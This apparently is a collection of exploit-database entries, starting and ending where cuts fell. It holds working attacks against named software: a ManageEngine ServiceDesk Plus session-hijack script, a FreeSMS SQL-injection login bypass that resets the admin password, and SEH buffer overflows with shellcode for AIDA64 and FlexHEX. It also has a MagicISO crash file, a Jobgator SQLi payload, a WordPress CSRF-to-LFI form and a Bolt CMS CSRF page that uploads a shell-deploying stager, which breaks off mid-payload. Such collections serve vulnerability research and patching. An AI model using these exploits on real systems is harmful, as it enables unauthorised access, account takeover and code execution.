#jmpback1 = "\xe9\xc0\xfb\xff\xff"	# Jmp back - if you directly close the program window
jmpback2 = "\xe9\xa6\xfb\xff\xff"	# Jmp back
#jmpback2 = "\xe9\xc6\xfb\xff\xff"	# Jmp back- if you directly close the program window

nseh = "\xeb\xf9\x90\x90"			# Jmp Short back
seh = "\x02\xeb\x1a\x01"			# Overwrite Seh # 0x011aeb02 : {pivot 8}

buffer  = calc
buffer += "\x41" * (bufsize1-len(buffer)-len(jmpback1))
buffer += jmpback1
buffer += nseh
buffer += seh
print "[+] Creating %s bytes payload for windows-x32 ..." %len(buffer)
f = open ("exploit-x32.txt", "w")
print "[+] File created!"
f.write(buffer)
f.close()

buffer  = calc
buffer += "\x41" * (bufsize2-len(buffer)-len(jmpback2))
buffer += jmpback2
buffer += nseh
buffer += seh
print "[+] Creating %s bytes payload for windows-x64 ..." %len(buffer)
f = open ("exploit-x64.txt", "w")
print "[+] File created!"
f.write(buffer)
f.close()
            
#!/usr/bin/python

# Exploit Title: Manage Engine ServiceDesk Plus Version <10.0 Privilege Escalation
# Date: 30-03-2019
# Exploit Author: Ata Hakçıl, Melih Kaan Yıldız
# Vendor: ManageEngine
# Vendor Homepage: www.manageengine.com
# Product: Service Desk Plus
# Version: 10.0
# Tested On: Kali Linux
# CVE: CVE-2019-10008
# Platform: JSP

# Timeline

# 22 march 2019: Discovery
# 24 march 2019: CVE id reserved for CVE-2019-10008
# 26 march 2019: First contact with vendor
# 5  april 2019: First publication
# 10 april 2019: Vendor confirmation
# 11 april 2019: Vendor released a fix (version 10017)


# Reference link: https://www.manageengine.com/products/service-desk/readme.html

import os
import re



# How to use: Change the host, low_username, low_password and high_username variables depending on what you have.
# Low username and password is an account you have access to. high_username is account you want to authenticate as.

# After running the script, it will output you the cookies that you can set on your browser to login to the high_username without password.


#Host ip address + port
host="localhost:8080"

#set to https if needed
url = "http://" + host

#Username with credentials you have
low_username="guest"
low_password="guest"

#username you want to login as
high_username="administrator"

print("\033[1;37mUrl: \033[1;32m" + url)
print("\033[1;37mUser with low priv: \033[1;32m" + low_username + ':' + low_password)
print("\033[1;37mUser to bypass authentication to: \033[1;32m" + high_username)


print("\033[1;32mGetting a session id\033[1;37m")

# Get index page to capture a session id
curl = "curl -i -s -k  -X $'GET' \
    -H $'Host: "+host+"'  -H $'Referer: "+url+"/' -H $'Connection: close'\
    $'"+url+"/'"

out = os.popen('/bin/bash -c "' + curl+'"').read()
sessid = re.findall("(?<=Set-Cookie: JSESSIONID=)[^;]*",out)[0]

print("Sessid:")
print(sessid)


print("\033[1;31mLogging in with low privilege user\033[1;37m")


#Attempt login post request 
curl="curl -i -s -k -X $'POST' -H $'Host: "+host+"'\
 -H $'Referer: "+url+"/'\
 -H $'Connection: close' -H $'Cookie: JSESSIONID="+sessid+"' \
 -b $'JSESSIONID="+sessid+"' \
 --data-binary $'j_username="+low_username+"&j_password="+low_password+"&LDAPEnable=false&\
 hidden=Select+a+Domain&hidden=For+Domain&AdEnable=false&DomainCount=0&LocalAuth=No&LocalAuthWithDomain=No&\
 dynamicUserAddition_status=true&localAuthEnable=true&logonDomainName=-1&loginButton=Login&checkbox=checkbox' \
 $'"+url+"/j_security_check'"

out = os.popen('/bin/bash -c "' + curl+'"').read()


#Instead of following redirects with -L, following manually because we don't need all the transactions.
curl="curl -i -s -k -X $'GET' -H $'Host: "+host+"'\
 -H $'Referer: "+url+"/'\
 -H $'Connection: close' -H $'Cookie: JSESSIONID="+sessid+"' \
 -b $'JSESSIONID="+sessid+"' \
 $'"+url+"/'"

out = os.popen('/bin/bash -c "' + curl+'"').read()

print("\033[1;32mCaptured authenticated cookies.\033[1;37m")
sessid = re.findall("(?<=Set-Cookie: JSESSIONID=)[^;]*",out)[0]
print(sessid)
sessidsso = re.findall("(?<=Set-Cookie: JSESSIONIDSSO=)[^;]*",out)[0]
print(sessidsso)
grbl = re.findall("(?<=Set-Cookie: )[^=]*=[^;]*",out)

grbl2 = []
for cookie in grbl:
	cl = cookie.split('=')
	if cl[0]!='JSESSIONID' and cl[0]!='JSESSIONIDSSO' and cl[0]!='_rem':

		grbl2.append(cl[0])
		grbl2.append(cl[1])

curl = "curl -i -s -k -X $'GET' \
    -H $'Host: "+host+"' \
    -H $'Cookie: JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
    -b $'JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
    $'"+url+"/mc/'"


out = os.popen('/bin/bash -c "' + curl+'"').read()
sessid2 = re.findall("(?<=Set-Cookie: JSESSIONID=)[^;]*",out)[0]

print("\033[1;32mCaptured secondary sessid.\033[1;37m")
print(sessid2)


print("\033[1;31mDoing the magic step 1.\033[1;37m")
curl = "curl -i -s -k -X $'GET' \
    -H $'Host: "+host+"' \
	-H $'Referer: "+url+"/mc/WOListView.do' \
	-H $'Cookie: JSESSIONID="+sessid2+"; JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
	-b $'JSESSIONID="+sessid2+"; JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
	$'"+url+"/mc/jsp/MCLogOut.jsp'"

out = os.popen('/bin/bash -c "' + curl+'"').read()

print("\033[1;31mDoing the magic step 2.\033[1;37m")




curl = "curl -i -s -k -X $'GET' \
    -H $'Host: "+host+"' \
    -H $'Cookie: JSESSIONID="+sessid2+"; JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
    -b $'JSESSIONID="+sessid2+"; JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
    $'"+url+"/mc/jsp/MCDashboard.jsp'"


out = os.popen('/bin/bash -c "' + curl+'"').read()

sessid3 = re.findall("(?<=Set-Cookie: JSESSIONID=)[^;]*",out)[0]
sessidsso = re.findall("(?<=Set-Cookie: JSESSIONIDSSO=)[^;]*",out)[0]


curl = "curl -i -s -k -X $'GET' \
    -H $'Host: "+host+"' \
    -H $'Cookie: JSESSIONID="+sessid2+"; JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
    -b $'JSESSIONID="+sessid2+"; JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
    $'"+url+"/'"

out = os.popen('/bin/bash -c "' + curl+'"').read()
sessid4 = re.findall("(?<=Set-Cookie: JSESSIONID=)[^;]*",out)[0]


curl = "curl -i -s -k -X $'POST' \
    -H $'"+host+"' \
    -H $'Referer: "+url+"/mc/jsp/MCDashboard.jsp' \
    -H $'Cookie: JSESSIONID="+sessid3+"; JSESSIONID="+sessid4+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
    -b $'JSESSIONID="+sessid3+"; JSESSIONID="+sessid4+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
    --data-binary $'j_username="+high_username+"&j_password=bypassingpass&DOMAIN_NAME=' \
    $'"+url+"/mc/j_security_check'"


out = os.popen('/bin/bash -c "' + curl+'"').read()

curl = "curl -i -s -k -X $'GET' \
    -H $'Host: "+host+"' \
    -H $'Referer: "+url+"/mc/jsp/MCDashboard.jsp' \
    -H $'Cookie: JSESSIONID="+sessid3+"; JSESSIONID="+sessid4+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
    -H $'Upgrade-Insecure-Requests: 1' \
    -b $'JSESSIONID="+sessid3+"; JSESSIONID="+sessid4+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
    $'"+url+"/mc/jsp/MCDashboard.jsp'"



out = os.popen('/bin/bash -c "' + curl+'"').read()


sessidhigh = re.findall("(?<=Set-Cookie: JSESSIONID=)[^;]*",out)[0]
sessidssohigh = re.findall("(?<=Set-Cookie: JSESSIONIDSSO=)[^;]*",out)[0]

print("\033[1;31mCaptured target session.Set following cookies on your browser.\033[1;37m")
print("JSESSIONID=" + sessidhigh)
print("JSESSIONIDSSO=" + sessidssohigh)
print(grbl2[0] + "=" + grbl2[1])
print(grbl2[2] + "=" + grbl2[3])
print("_rem=true")
            
# Exploit Title: FreeSMS 2.1.2 - Authentication Bypass
# Date: 2019-04-03
# Exploit Author: Yilmaz Degirmenci
# Vendor Homepage: https://freesms.sourceforge.io/
# Software Link: https://sourceforge.net/projects/freesms/
# Version: v2.1.2
# Category: Webapps
# Tested on: LAMPP for Linux
# Software Description : FreeSMS is a PHP based application to manage an educational facility 
# of teachers and students alike. It is a teacher and student management system providing marketing, 
# registration, course management, attendance and a student evaluation system.
# ==================================================================
# The "password" parameter has boolean-based blind SQL injection vulnerability.
# The login panel can be bypassed if the user name is known.
# SQLDork: pass") RLIKE (SELECT (CASE WHEN (4404=4404) THEN 0x61646d696e74 ELSE 0x28 END)) AND ("WpaN"="WpaN
# Exploit allows the creation of a new password on the target.

import requests, sys, re, random

if (len(sys.argv) != 2):
    print "[*] Usage: poc.py <RHOST><RPATH> (192.168.1.20/freesms)"
    exit(0)

rhost = sys.argv[1]

uname = str(raw_input("User Name: "))
npass = str(raw_input("New Pass: "))

url = "http://"+rhost+"/pages/crc_handler.php?method=login"
headers = {"Content-Type": "application/x-www-form-urlencoded"}

data = {"username": ""+uname+"", "password": "pass\") RLIKE (SELECT (CASE WHEN (4404=4404) THEN 0x61646d696e74 ELSE 0x28 END)) AND (\"WpaN\"=\"WpaN", "context": "ou=Don Mills,ou=Toronto,ou=Ontario,ou=Canada,o=CRC World", "login": "login"}

bp = bypass = requests.post(url, headers=headers, data=data)

if bp.status_code == 200:
  print "Authentication bypass was successful!"
  print "Trying to change password..."
else:
  print "Something went wrong. You should try manual exploitation"
  sys.exit()

cookies = bypass.headers['Set-Cookie']
cookie = re.split(r'\s', cookies)[0].replace(';','').replace('crc=','').strip()
print "Admin Cookie : crc="+cookie+""


# Change admin password

purl = "http://"+rhost+"/pages/crc_handler.php?method=profile&func=update"
pcookies = {"crc": ""+cookie+""}
pheaders = {"Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
pdata={"context": "ou%3DDon+Mills%2Cou%3DToronto%2Cou%3DOntario%2Cou%3DCanada%2Co%3DCRC+World", "profileid": "1", "username": ""+uname+"", "password": ""+npass+"", "fname": "Firstname", "lname": "Lastname", "email": "admin@domain.com", "gender": "Male", "day": "19", "month": "11", "year": "1977", "add1": "Campulung", "add2": '', "city": "Campulung", "province": "AG", "country": "Romania", "pc": "115100", "lcode": "0040", "lprefix": "0000", "lpostfix": "000000", "update": "Update"}
p = requests.post(purl, headers=pheaders, cookies=pcookies, data=pdata)

if p.status_code == 200:
  print "New password successfully created! New Password: "+npass+""
else:
  print "Something went wrong. You should try manual exploitation"
  sys.exit()
            
#!/usr/bin/python
 
###############################################################################
# Exploit Title:        AIDA64 Engineer 5.99.4900 - 'Load from file' Field Buffer Overflow (SEH)
# Date:                 04-04-2019
# Exploit Author:       Anurag Srivastava and Vardan Bansal 
# Website:    			www.theanuragsrivastava.in
# Vulnerable Software:  AIDA64 Engineer  
# Vendor Homepage:      http://download.aida64.com/
# Version:              5.99.4900
# Software Link:        http://download.aida64.com/aida64engineer599.exe
# Tested On:            Windows 7 x64 
# CVE:					CVE-2019-10843
#
# To reproduce the exploit:
#   1. Click Report
#   2. In the "Load from a File" field, paste the content of hex.txt
#
##############################################################################

buf =  ""
buf += "\xda\xd7\xd9\x74\x24\xf4\xba\x07\xc8\xf9\x11\x5e\x2b"
buf += "\xc9\xb1\x31\x31\x56\x18\x03\x56\x18\x83\xee\xfb\x2a"
buf += "\x0c\xed\xeb\x29\xef\x0e\xeb\x4d\x79\xeb\xda\x4d\x1d"
buf += "\x7f\x4c\x7e\x55\x2d\x60\xf5\x3b\xc6\xf3\x7b\x94\xe9"
buf += "\xb4\x36\xc2\xc4\x45\x6a\x36\x46\xc5\x71\x6b\xa8\xf4"
buf += "\xb9\x7e\xa9\x31\xa7\x73\xfb\xea\xa3\x26\xec\x9f\xfe"
buf += "\xfa\x87\xd3\xef\x7a\x7b\xa3\x0e\xaa\x2a\xb8\x48\x6c"
buf += "\xcc\x6d\xe1\x25\xd6\x72\xcc\xfc\x6d\x40\xba\xfe\xa7"
buf += "\x99\x43\xac\x89\x16\xb6\xac\xce\x90\x29\xdb\x26\xe3"
buf += "\xd4\xdc\xfc\x9e\x02\x68\xe7\x38\xc0\xca\xc3\xb9\x05"
buf += "\x8c\x80\xb5\xe2\xda\xcf\xd9\xf5\x0f\x64\xe5\x7e\xae"
buf += "\xab\x6c\xc4\x95\x6f\x35\x9e\xb4\x36\x93\x71\xc8\x29"
buf += "\x7c\x2d\x6c\x21\x90\x3a\x1d\x68\xfe\xbd\x93\x16\x4c"
buf += "\xbd\xab\x18\xe0\xd6\x9a\x93\x6f\xa0\x22\x76\xd4\x5e"
buf += "\x69\xdb\x7c\xf7\x34\x89\x3d\x9a\xc6\x67\x01\xa3\x44"
buf += "\x82\xf9\x50\x54\xe7\xfc\x1d\xd2\x1b\x8c\x0e\xb7\x1b"
buf += "\x23\x2e\x92\x7f\xa2\xbc\x7e\xae\x41\x45\xe4\xae"
  
 
nSEH = "\xeb\xf9\x90\x90" 

back = "\xe9\xdc\xfe\xff\xff"  # jmp back to start of shellcode
SEH = "\x23\x02\x1c\x01" #pop ebx # pop eax # ret  | ascii {PAGE_EXECUTE_READWRITE} [aida64.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.99.4900 (C:\Program Files\FinalWire\AIDA64 Engineer\aida64.exe

buffer = "\x41" * (292-len(buf)-len(back))
padding = "\x42"*(500-292-4-4)
data = buf + buffer + back + nSEH + SEH + padding
 
f = open ("hex.txt", "w")
f.write(data)
f.close()
            
# -*- coding: utf-8 -*-
# Exploit Title: Magic Iso Maker 5.5(build 281) - "Serial Code" Denial of Service (PoC)
# Date: 03/04/2019
# Author: Alejandra Sánchez
# Vendor Homepage: http://www.magiciso.com
# Software Link: http://www.magiciso.com/Setup_MagicISO.exe
# Version: 5.5(build 281)
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script "MagicIso.py", it will create a new file "MagicIso.txt"
# 2.- Copy the text from the generated MagicIso.txt file to clipboard
# 3.- Open MagicISO.exe
# 4.- Go to Register
# 5.- Write any name in the field "User Name", e.g "Anonymous"
# 6.- Paste clipboard in the field "Serial Code"
# 7.- Click on button -> Register!
# 8.- Crashed

buffer = "\x41" * 5000
f = open ("MagicIso.txt", "w")
f.write(buffer)
f.close()
            
# Exploit Title: NCrypted Jobgator - SQL Injection
# Date: 05.03.2019
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://www.ncrypted.net/jobgator/
# Demo Site: https://demo.ncryptedprojects.com/jobgator/
# Version: Lastest
# Tested on: Kali Linux
# CVE: N/A

----- PoC 1: SQLi -----

Request: http://localhost/[PATH]/agents/Find-Jobs
Vulnerable Parameter: experience (POST)
Payload: btnsearch=Search&experience=1" OR NOT
4365=4365#&job_title=Mr.&location=1
            
#!/usr/bin/python -w

#
# Exploit Author: Chris Au
# Exploit Title:  FlexHEX 2.71 - Local Buffer Overflow (SEH Unicode)
# Date: 06-04-2019
# Vulnerable Software: FlexHEX 2.71
# Vendor Homepage: http://www.flexhex.com
# Version: 2.71
# Software Link: http://www.flexhex.com/download/flexhex_setup.exe
# Tested Windows Windows XP SP3
#
#
# PoC
# 1. generate evil.txt, copy contents to clipboard
# 2. open FlexHEX Editor
# 3. select "Stream", click "New Stream..."
# 4. paste contents from clipboard in the "Stream Name:"
# 5. select OK
# 6. calc.exe
#
 
filename="evil.txt"
junk = "\xcc" * 276
nseh = "\x90\x45"
seh = "\xd5\x52" #pop pop retn
valign = (
"\x45" #align
"\x56" #push esi
"\x45" #align
"\x58" #pop eax
"\x45" #align
"\x05\x20\x11" #add eax,11002000
"\x45" #align
"\x2d\x1a\x11" #sub eax,11001a00
"\x45" #align
"\x50" #push eax
"\x45" #align
"\xc3" #retn
)
#nop to shell
nop = "\x45" * 94
#call calc.exe, bufferRegister=EAX
shellcode = (
"PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAI"
"AQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIA"
"JQYAZBABABABABkMAGB9u4JBkLK8qrM0ypyps0e9xeP1Y0RD4K"
"npnPrkPRLLbkb2N42kt2lhlOegmzkvMaYodlMl0aqlKRnLo0Uq"
"foLMzai7zBl2nrOgTKnrJptKNjoLBkpLjqahISQ8KQ8QpQRkaI"
"kpKQYCbkMyzxHcnZq9bkNTTK9q9FMaYofLVa8OLMjaI7p8GpRU"
"9flCamXxmksMo4d5JD1HrknxMTYq8Sc6RkJl0KtKnxKlkQFs4K"
"zdtKKQJ0RiQ4NDLdOkOkC1pYOjOakOyPQOqOpZ4KN2zKTMaM0j"
"kQbmu55bKP9pM0b0C8014KROQwkOIEek8pTuTbPVQXcvTU7MeM"
"iohUOLm6qlyze09k7p0u9ugKa7mCPrbOqZ9pOcYoHURCPa0l0c"
"Lnc51hOuipAA")
fill = "\x45" * 5000
buffer = junk + nseh + seh + valign + nop + shellcode + fill
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
            
# Exploit Title: Contact Form by WD [CSRF → LFI]
# Date: 2019-03-17
# Exploit Author: Panagiotis Vagenas
# Vendor Homepage: http://web-dorado.com/
# Software Link: https://wordpress.org/plugins/contact-form-maker
# Version: 1.13.1
# Tested on: WordPress 5.1.1

Description
-----------

Plugin implements the following AJAX actions:

- `manage_fm`
- `get_stats`
- `generete_csv`
- `generete_xml`
- `formmakerwdcaptcha`
- `nopriv_formmakerwdcaptcha`
- `formmakerwdmathcaptcha`
- `nopriv_formmakerwdmathcaptcha`
- `product_option`
- `FormMakerEditCountryinPopup`
- `FormMakerMapEditinPopup`
- `FormMakerIpinfoinPopup`
- `show_matrix`
- `FormMakerSubmits`
- `FormMakerSQLMapping`
- `select_data_from_db`
- `manage`

All of them call the function `form_maker_ajax_fmc`. This function
dynamicaly loads a file defined in `$_GET['action']` or
`$_POST['action']` if the former is not defined. Because of the way
WordPress defines the AJAX action a user could define the plugin action
in the `$_GET['action']` and AJAX action in `$_POST['action']`.
Leveraging that and the fact that no sanitization is performed on the
`$_GET['action']`, a malicious actor can perform a CSRF attack to load a
file using directory traversal thus leading to Local File Inclusion
vulnerability.

The following AJAX actions are available only for the paid version of
the plugin:

- `paypal_info`
- `checkpaypal`
- `nopriv_checkpaypal`
- `get_frontend_stats`
- `nopriv_get_frontend_stats`
- `frontend_show_map`
- `nopriv_frontend_show_map`
- `frontend_show_matrix`
- `nopriv_frontend_show_matrix`
- `frontend_paypal_info`
- `nopriv_frontend_paypal_info`
- `frontend_generate_csv`
- `nopriv_frontend_generate_csv`
- `frontend_generate_xml`
- `nopriv_frontend_generate_xml`
- `FMShortocde`
- `wd_bp_dismiss`

In both free and paid versions, there are no-privilege actions that can
be exploited by unauthenticated users in order to include local files.

PoC
---

```html
<form method="post"
action="http://wp-csrf-new.test/wp-admin/admin-ajax.php?action=../../../../../index.php">
    <label>AJAX action:
        <select name="action">
            <optgroup label="Free version">
                <option value="FMShortocde_fmc">FMShortocde_fmc</option>
                <option
value="FormMakerEditCountryinPopup_fmc">FormMakerEditCountryinPopup_fmc</option>
                <option
value="FormMakerIpinfoinPopup_fmc">FormMakerIpinfoinPopup_fmc</option>
                <option
value="FormMakerMapEditinPopup_fmc">FormMakerMapEditinPopup_fmc</option>
                <option
value="FormMakerSQLMapping_fmc">FormMakerSQLMapping_fmc</option>
                <option
value="FormMakerSubmits_fmc">FormMakerSubmits_fmc</option>
                <option
value="formmakerwdcaptcha_fmc">formmakerwdcaptcha_fmc</option>
                <option
value="formmakerwdmathcaptcha_fmc">formmakerwdmathcaptcha_fmc</option>
                <option
value="frontend_show_matrix_fmc">frontend_show_matrix_fmc</option>
                <option value="generete_csv_fmc">generete_csv_fmc</option>
                <option value="generete_xml_fmc">generete_xml_fmc</option>
                <option value="get_stats_fmc">get_stats_fmc</option>
                <option value="manage_fmc">manage_fmc</option>
                <option value="manage_fm_fmc">manage_fm_fmc</option>
                <option
value="nopriv_formmakerwdcaptcha_fmc">nopriv_formmakerwdcaptcha_fmc</option>
                <option
value="nopriv_formmakerwdmathcaptcha_fmc">nopriv_formmakerwdmathcaptcha_fmc</option>
                <option
value="product_option_fmc">product_option_fmc</option>
                <option
value="select_data_from_db_fmc">select_data_from_db_fmc</option>
                <option value="wd_bp_dismiss_fmc">wd_bp_dismiss_fmc</option>
            </optgroup>
            <optgroup label="Pro Version">
                <option value="paypal_info_fmc">paypal_info_fmc</option>
                <option value="checkpaypal_fmc">checkpaypal_fmc</option>
                <option
value="nopriv_checkpaypal_fmc">nopriv_checkpaypal_fmc</option>
                <option
value="nopriv_get_frontend_stats_fmc">nopriv_get_frontend_stats_fmc</option>
                <option
value="get_frontend_stats_fmc">get_frontend_stats_fmc</option>
                <option
value="frontend_show_map_fmc">frontend_show_map_fmc</option>
                <option
value="nopriv_frontend_show_map_fmc">nopriv_frontend_show_map_fmc</option>
                <option value="show_matrix_fmc">show_matrix_fmc</option>
                <option
value="nopriv_frontend_show_matrix_fmc">nopriv_frontend_show_matrix_fmc</option>
                <option
value="frontend_paypal_info_fmc">frontend_paypal_info_fmc</option>
                <option
value="nopriv_frontend_paypal_info_fmc">nopriv_frontend_paypal_info_fmc</option>
                <option
value="frontend_generate_csv_fmc">frontend_generate_csv_fmc</option>
                <option
value="nopriv_frontend_generate_csv_fmc">nopriv_frontend_generate_csv_fmc</option>
                <option
value="frontend_generate_xml_fmc">frontend_generate_xml_fmc</option>
                <option
value="nopriv_frontend_generate_xml_fmc">nopriv_frontend_generate_xml_fmc</option>
            </optgroup>
        </select>
    </label>
    <button type="submit" value="Submit">Submit</button>
</form>

```
            
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <script>
      function exploit() {

        var target = "http://127.0.0.1"

        var bolt_admin_url = target + "/bolt";

        var xhr = new XMLHttpRequest();
        xhr.open("POST", bolt_admin_url + "/upload", true);
        xhr.setRequestHeader("Accept", "application\/json, text\/javascript, *\/*; q=0.01");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------130713229751679908527494159");
        xhr.withCredentials = true;
        var body = "-----------------------------130713229751679908527494159\r\n" + 
          "Content-Disposition: form-data; name=\"files[]\"; filename=\"stager.html\"\r\n" + 
          "Content-Type: text/plain\r\n" + 
          "\r\n" + 
          "\x3cscript\x3e\r\n" + 
          "\r\n" + 
          "function exploit(){\r\n" + 
          "\r\n" + 
          "        var bolt_admin_url = \""+bolt_admin_url+"\";\r\n" + 
          "\r\n" + 
          "        var xhr = new XMLHttpRequest();\r\n" + 
          "        \r\n" + 
          "        if(xhr) {\r\n" + 
          "            xhr.open(\'GET\', bolt_admin_url + \"/file/edit/config/config.yml\", true);\r\n" + 
          "            xhr.onreadystatechange = handler;\r\n" + 
          "            xhr.send();\r\n" + 
          "        }\r\n" + 
          "\r\n" + 
          "        function handler(){\r\n" + 
          "          if (xhr.readyState == 4 && xhr.status == 200) {\r\n" + 
          "                user_page = document.createElement(\'html\');\r\n" + 
          "                user_page.innerHTML = xhr.responseText;\r\n" + 
          "                token_input = (user_page.getElementsByTagName(\'input\')[0]).value;\r\n" + 
          "                console.log(\"Token obtained:\" + token_input);\r\n" + 
          "                ModifyAllowedExtensions(token_input);\r\n" + 
          "                UploadShell();\r\n" + 
          "          }\r\n" + 
          "        }\r\n" + 
          "\r\n" + 
          "        function ModifyAllowedExtensions(token) {\r\n" + 
          "\r\n" + 
          "            var xhr = new XMLHttpRequest();\r\n" + 
          "            xhr.open(\"POST\", bolt_admin_url + \"/file/edit/config/config.yml\", true);\r\n" + 
          "            xhr.setRequestHeader(\"Accept\", \"application\\/json, text\\/javascript, *\\/*; q=0.01\");\r\n" + 
          "            xhr.setRequestHeader(\"Accept-Language\", \"en-US,en;q=0.5\");\r\n" + 
          "            xhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\");\r\n" + 
          "            xhr.withCredentials = true;\r\n" + 
          "            var body = \"file_edit%5B_token%5D=\"+token+\"&file_edit%5Bcontents%5D=%23+Database+setup.+The+driver+can+be+either+\\\'sqlite\\\'%2C+\\\'mysql\\\'+or+\\\'postgres\\\'.%0D%0A%23%0D%0A%23+For+SQLite%2C+only+the+databasename+is+required.+However%2C+MySQL+and+PostgreSQL%0D%0A%23+also+require+\\\'username\\\'%2C+\\\'password\\\'%2C+and+optionally+\\\'host\\\'+(+and+\\\'port\\\'+)+if+the+database%0D%0A%23+server+is+not+on+the+same+host+as+the+web+server.%0D%0A%23%0D%0A%23+If+you\\\'re+trying+out+Bolt%2C+just+keep+it+set+to+SQLite+for+now.%0D%0Adatabase%3A%0D%0A++++driver%3A+sqlite%0D%0A++++databasename%3A+bolt%0D%0A%0D%0A%23+The+name+of+the+website%0D%0Asitename%3A+A+sample+site%0D%0Apayoff%3A+The+amazing+payoff+goes+here%0D%0A%0D%0A%23+The+theme+to+use.%0D%0A%23%0D%0A%23+Don\\\'t+edit+the+provided+templates+directly%2C+because+they+_will_+get+updated%0D%0A%23+in+next+releases.+If+you+wish+to+modify+a+default+theme%2C+copy+its+folder%2C+and%0D%0A%23+change+the+name+here+accordingly.%0D%0Atheme%3A+base-2018%0D%0A%0D%0A%23+The+locale+that\\\'ll+be+used+by+the+application.+If+no+locale+is+set+the%0D%0A%23+fallback+locale+is+\\\'en_GB\\\'.+For+available+options%2C+see%3A%0D%0A%23+https%3A%2F%2Fdocs.bolt.cm%2Fother%2Flocales%0D%0A%23%0D%0A%23+In+some+cases+it+may+be+needed+to+specify+(non-standard)+variations+of+the%0D%0A%23+locale+to+get+everything+to+work+as+desired.%0D%0A%23%0D%0A%23+This+can+be+done+as+%5Bnl_NL%2C+Dutch_Netherlands%5D+when+specifying+multiple%0D%0A%23+locales%2C+ensure+the+first+is+a+standard+locale.%0D%0Alocale%3A+en_GB%0D%0A%0D%0A%23+Set+the+timezone+to+be+used+on+the+website.+For+a+list+of+valid+timezone%0D%0A%23+settings%2C+see%3A+http%3A%2F%2Fphp.net%2Fmanual%2Fen%2Ftimezones.php%0D%0A%23+timezone%3A+UTC%0D%0A%0D%0A%23+Set+maintenance+mode+on+or+off.%0D%0A%23%0D%0A%23+While+in+maintenance+mode%2C+only+users+of+level+editor+or+higher+can+access+the%0D%0A%23+site.%0D%0A%23%0D%0A%23+All+other+visitors+are+presented+with+a+notice+that+the+site+is+currently%0D%0A%23+offline.%0D%0A%23%0D%0A%23+The+default+template+file+can+be+found+in+%2Fapp%2Ftheme_defaults%2F+and+overridden%0D%0A%23+with+this+option+using+your+own+theme.%0D%0A%23%0D%0A%23+Note%3A+If+you\\\'ve+changed+the+filename%2C+and+your+changes+do+not+show+up+on+the%0D%0A%23+++++++website%2C+be+sure+to+check+for+a+config.yml+file+in+your+theme\\\'s+folder.%0D%0A%23+++++++If+a+template+is+set+there%2C+it+will+override+the+setting+here.%0D%0Amaintenance_mode%3A+false%0D%0Amaintenance_template%3A+maintenance_default.twig%0D%0A%0D%0A%23+The+hour+of+the+day+for+the+internal+cron+task+scheduler+to+run+daily%2C+weekly%2C%0D%0A%23+monthly+and+yearly+jobs.%0D%0A%23%0D%0A%23+Default%3A+3+(3+am)%0D%0Acron_hour%3A+3%0D%0A%0D%0A%23+If+your+site+is+reachable+under+different+urls+(say%2C+both+blog.example.org%2F%0D%0A%23+as+well+as+example.org%2F)%2C+it\\\'s+a+good+idea+to+set+one+of+these+as+the%0D%0A%23+canonical%2C+so+it\\\'s+clear+which+is+the+primary+address+of+the+site.%0D%0A%23%0D%0A%23+If+you+include+%60https%3A%2F%2F%60%2C+it+will+be+included+in+the+canonical+urls.%0D%0A%23canonical%3A+example.org%0D%0A%0D%0A%23+Bolt+can+insert+a+%3Clink+rel%3D%22shortcut+icon%22%3E+for+all+pages+on+the+site.%0D%0A%0D%0A%23+Note%3A+The+location+given+is+relative+to+the+currently+selected+theme.+If%0D%0A%23+++++++you+want+to+set+the+icon+yourself%2C+just+don\\\'t+enable+the+following+line.%0D%0A%23favicon%3A+images%2Ffavicon-bolt.ico%0D%0A%0D%0A%23+The+default+content+to+use+for+the+homepage%2C+and+the+template+to+render+it%0D%0A%23+with.+This+can+either+be+a+specific+record+(like+%60page%2F1%60)+or+a+listing+of%0D%0A%23+records+(like+%60entries%60).+In+the+chosen+\\\'homepage_template\\\'%2C+you+will+have%0D%0A%23+%60record%60+or+%60records%60+at+your+disposal%2C+depending+on+the+\\\'homepage\\\'+setting.%0D%0A%23%0D%0A%23+Note%3A+If+you\\\'ve+changed+the+filename%2C+and+your+changes+do+not+show+up+on%0D%0A%23+++++++the+website%2C+be+sure+to+check+for+a+theme